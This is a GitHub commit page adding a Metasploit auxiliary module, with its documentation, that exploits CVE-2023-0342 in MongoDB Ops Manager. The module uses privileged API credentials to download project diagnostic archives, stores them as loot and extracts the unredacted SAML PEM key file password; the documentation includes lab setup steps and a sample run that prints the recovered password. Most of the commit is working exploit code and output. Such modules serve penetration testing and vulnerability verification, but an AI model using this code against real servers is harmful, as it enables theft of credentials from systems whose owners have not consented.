-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
mongodb ops manager diagnostic archive info disclosure
- Loading branch information
Showing
2 changed files
with
295 additions
and
0 deletions.
There are no files selected for viewing
83 changes: 83 additions & 0 deletions
83
...ntation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
## Vulnerable Application | ||
|
||
MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password | ||
field (`mms.saml.ssl.PEMKeyFilePassword`) within app settings. Archives do not include | ||
the PEM files themselves. This module extracts that unredacted password and stores | ||
the diagnostic archive for additional manual review. | ||
|
||
This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and | ||
MongoDB Ops Manager v6.0 prior to 6.0.12. | ||
|
||
API credentials with the role of `GLOBAL_MONITORING_ADMIN` or `GLOBAL_OWNER` are required. | ||
|
||
Successfully tested against MongoDB Ops Manager v6.0.11. | ||
|
||
### Install on Ubuntu 22.04 | ||
|
||
1. Download mongodb server deb from https://www.mongodb.com/download-center/community/releases/archive . | ||
Look for: `Server Package: mongodb-org-server_6.0.11_amd64.deb` | ||
2. Download the 1.4gig ops manager (mms) deb from https://www.mongodb.com/subscription/downloads/archived | ||
3. `sudo apt-get install snmp` | ||
4. `sudo dpkg -i mongodb-org-server_6.0.11_amd64.deb` | ||
5. `sudo dpkg -i mongodb-mms-*` | ||
6. `sudo nano /opt/mongodb/mms/conf/conf-mms.properties` and add a new field at the bottom of the file: `mms.saml.ssl.PEMKeyFilePassword=FINDME` | ||
7. `sudo systemctl start mongod.service` | ||
8. `sudo systemctl start mongodb-mms.service` (wait a little while for it to initialize and run) | ||
9. Browse to http://<ip>>:8080/account/register and perform the install, the SMTP fields can use values for a server which doesn't exist. | ||
password: PassW0rd1! | ||
10. Top left corner of the page after install should be "Project 0", click the drop down and create new project. Any name is fine, I called it 'test' | ||
11. Top right of the screen, click Admin, API Keys, Create API Key. Create a new key, for permissions select | ||
`Global Monitoring Admin` or `Global Owner` (or both). | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info` | ||
1. Do: `set API_USERNAME [api_username]` | ||
1. Do: `set API_PASSWORD [api_password]` | ||
1. Do: `run` | ||
1. You should find similar output to the following: `Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME` | ||
|
||
## Options | ||
|
||
### API_USERNAME | ||
|
||
Username for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions. | ||
|
||
### API_PASSWORD | ||
|
||
Password for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions. | ||
|
||
## Scenarios | ||
|
||
### Mongodb OPS Manager 6.0.11 on Ubuntu 22.04 | ||
|
||
``` | ||
msf6 > use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info | ||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_USERNAME zmdhriti | ||
API_USERNAME => zmdhriti | ||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PASSWORD fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc | ||
API_PASSWORD => fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc | ||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set verbose true | ||
verbose => true | ||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run | ||
[*] Running module against 127.0.0.1 | ||
[*] Checking for orgs | ||
[*] Looking for projects in org 65e86256961a9b1cc98c6c8b | ||
[+] Found project: Project 0 (65e86256961a9b1cc98c6c8f) | ||
[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_015137.gz | ||
[*] Opening project_diagnostics.tar.gz | ||
[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME | ||
[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME | ||
[+] Found project: test (65e86331961a9b1cc98c6db7) | ||
[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_205173.gz | ||
[*] Opening project_diagnostics.tar.gz | ||
[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME | ||
[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > | ||
``` |
212 changes: 212 additions & 0 deletions
212
modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,212 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'digest/md5' | ||
require 'zlib' | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever', | ||
'Description' => %q{ | ||
MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password | ||
field (mms.saml.ssl.PEMKeyFilePassword) within app settings. Archives do not include | ||
the PEM files themselves. This module extracts that unredacted password and stores | ||
the diagnostic archive for additional manual review. | ||
This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and | ||
MongoDB Ops Manager v6.0 prior to 6.0.12. | ||
API credentials with the role of GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER are required. | ||
Successfully tested against MongoDB Ops Manager v6.0.11. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/advisories/GHSA-xqvf-v5jg-pxc2'], | ||
[ 'URL', 'https://www.mongodb.com/docs/ops-manager/current/reference/configuration/#mongodb-setting-mms.https.PEMKeyFilePassword'], | ||
[ 'CVE', '2023-0342'] | ||
], | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] | ||
], | ||
'DisclosureDate' => '2023-06-09', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(8080), | ||
OptString.new('API_USERNAME', [ true, 'User to login with for API requests', '']), | ||
OptString.new('API_PASSWORD', [ true, 'Password to login with for API requests', '']), | ||
OptString.new('TARGETURI', [ true, 'The URI of MongoDB Ops Manager', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0') | ||
auth_response = digest_auth(url) | ||
# https://www.mongodb.com/docs/ops-manager/current/tutorial/update-om-with-latest-version-manifest-with-api/ | ||
res = send_request_cgi( | ||
'uri' => url, | ||
'headers' => { | ||
'accept' => 'application/json', | ||
'authorization' => auth_response | ||
} | ||
) | ||
|
||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? | ||
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 | ||
|
||
roles = res.get_json_document.dig('apiKey', 'roles') | ||
return Exploit::CheckCode::Unknown("#{peer} - Unable to retrieve roles") if roles.nil? | ||
|
||
roles = roles.map { |hash| hash['roleName'] } | ||
return Exploit::CheckCode::Safe("API key requires GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER permissions. Current permissions: #{permission.join(', ')}") unless roles.include?('GLOBAL_MONITORING_ADMIN') || roles.include?('GLOBAL_OWNER') | ||
|
||
Exploit::CheckCode::Detected('API key has correct roles but version detection not possible') | ||
end | ||
|
||
def username | ||
datastore['API_USERNAME'] | ||
end | ||
|
||
def password | ||
datastore['API_PASSWORD'] | ||
end | ||
|
||
def digest_auth(url) | ||
# get a 401 so we get the WWW-Authenticate header | ||
res = send_request_cgi( | ||
'uri' => url, | ||
'headers' => { | ||
'accept' => 'application/json' | ||
} | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res.code == 401 | ||
|
||
# Define the regular expression pattern to capture key-value pairs | ||
pattern = /(\w+)="(.*?)"/ | ||
|
||
parsed_hash = {} | ||
res.headers['WWW-Authenticate'].scan(pattern) do |key, value| | ||
parsed_hash[key] = value | ||
end | ||
|
||
parsed_hash['nc'] = '00000001' | ||
parsed_hash['cnonce'] = '0a4f113b' # XXX randomize? | ||
|
||
# Calculate the response | ||
ha1 = Digest::MD5.hexdigest("#{username}:#{parsed_hash['realm']}:#{password}") | ||
ha2 = Digest::MD5.hexdigest("GET:#{url}") | ||
parsed_hash['response'] = Digest::MD5.hexdigest("#{ha1}:#{parsed_hash['nonce']}:#{parsed_hash['nc']}:#{parsed_hash['cnonce']}:#{parsed_hash['qop']}:#{ha2}") | ||
|
||
%(Digest username="#{username}", realm="#{parsed_hash['realm']}", nonce="#{parsed_hash['nonce']}", uri="#{url}", cnonce="#{parsed_hash['cnonce']}", nc=#{parsed_hash['nc']}, qop=auth, response="#{parsed_hash['response']}", algorithm=MD5) | ||
end | ||
|
||
def get_orgs | ||
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs') | ||
auth_response = digest_auth(url) | ||
# https://www.mongodb.com/docs/ops-manager/v6.0/reference/api/organizations/organization-get-all/ | ||
res = send_request_cgi( | ||
'uri' => url, | ||
'headers' => { | ||
'accept' => 'application/json', | ||
'authorization' => auth_response | ||
} | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials or not enough permissions (response code: #{res.code})") if res.code == 401 | ||
res.get_json_document | ||
end | ||
|
||
def get_projects(org) | ||
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs', org, 'groups') | ||
auth_response = digest_auth(url) | ||
# https://www.mongodb.com/docs/ops-manager/current/reference/api/organizations/organization-get-all-projects/ | ||
res = send_request_cgi( | ||
'uri' => url, | ||
'ctype' => 'application/json', | ||
'headers' => { | ||
'accept' => 'application/json', | ||
'authorization' => auth_response | ||
} | ||
) | ||
return [] if res.nil? | ||
return [] if res.code == 401 | ||
|
||
res.get_json_document['results'] | ||
end | ||
|
||
def get_diagnostic_archive(project) | ||
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'groups', project, 'diagnostics') | ||
auth_response = digest_auth(url) | ||
# https://www.mongodb.com/docs/ops-manager/current/reference/api/diagnostics/get-project-diagnostic-archive/ | ||
res = send_request_cgi( | ||
'uri' => url, | ||
'ctype' => 'application/json', | ||
'headers' => { | ||
'accept' => 'application/gzip', | ||
'authorization' => auth_response | ||
}, | ||
'vars_get' => { 'pretty' => 'true' } | ||
) | ||
return if res.nil? | ||
return unless res.code == 200 | ||
|
||
l = store_loot('mongodb.ops_manager.project_diagnostics', 'application/gzip', rhost, res.body, "project_diagnostics.#{project}.tar.gz", "Project diagnostics for MongoDB Project #{project}") | ||
print_good("Stored Project Diagnostics files to #{l}") | ||
vprint_status(' Opening project_diagnostics.tar.gz') | ||
gz_reader = Zlib::GzipReader.new(StringIO.new(res.body)) | ||
tar_reader = Rex::Tar::Reader.new(gz_reader) | ||
tar_reader.each do |entry| | ||
next unless entry.full_name == 'global/appSettings.json' | ||
|
||
json_data = JSON.parse(entry.read) | ||
next unless json_data.key? 'instanceOverrides' | ||
|
||
json_data['instanceOverrides'].each do |key, value| | ||
next unless value.key? 'mms.saml.ssl.PEMKeyFilePassword' | ||
|
||
if value['mms.saml.ssl.PEMKeyFilePassword'] == '<redacted>' | ||
fail_with(Failure::NotVulnerable, 'Value is <redacted>, server is patched.') | ||
else | ||
print_good("Found #{key}'s unredacted mms.saml.ssl.PEMKeyFilePassword: #{value['mms.saml.ssl.PEMKeyFilePassword']}") | ||
end | ||
end | ||
end | ||
tar_reader.close | ||
gz_reader.close | ||
end | ||
|
||
def run | ||
vprint_status('Checking for orgs') | ||
orgs = get_orgs | ||
orgs['results'].each do |org| | ||
org = org['id'] | ||
vprint_status("Looking for projects in org #{org}") | ||
projects = get_projects(org) | ||
projects.each do |project| | ||
vprint_good(" Found project: #{project['name']} (#{project['id']})") | ||
get_diagnostic_archive(project['id']) | ||
end | ||
end | ||
end | ||
end |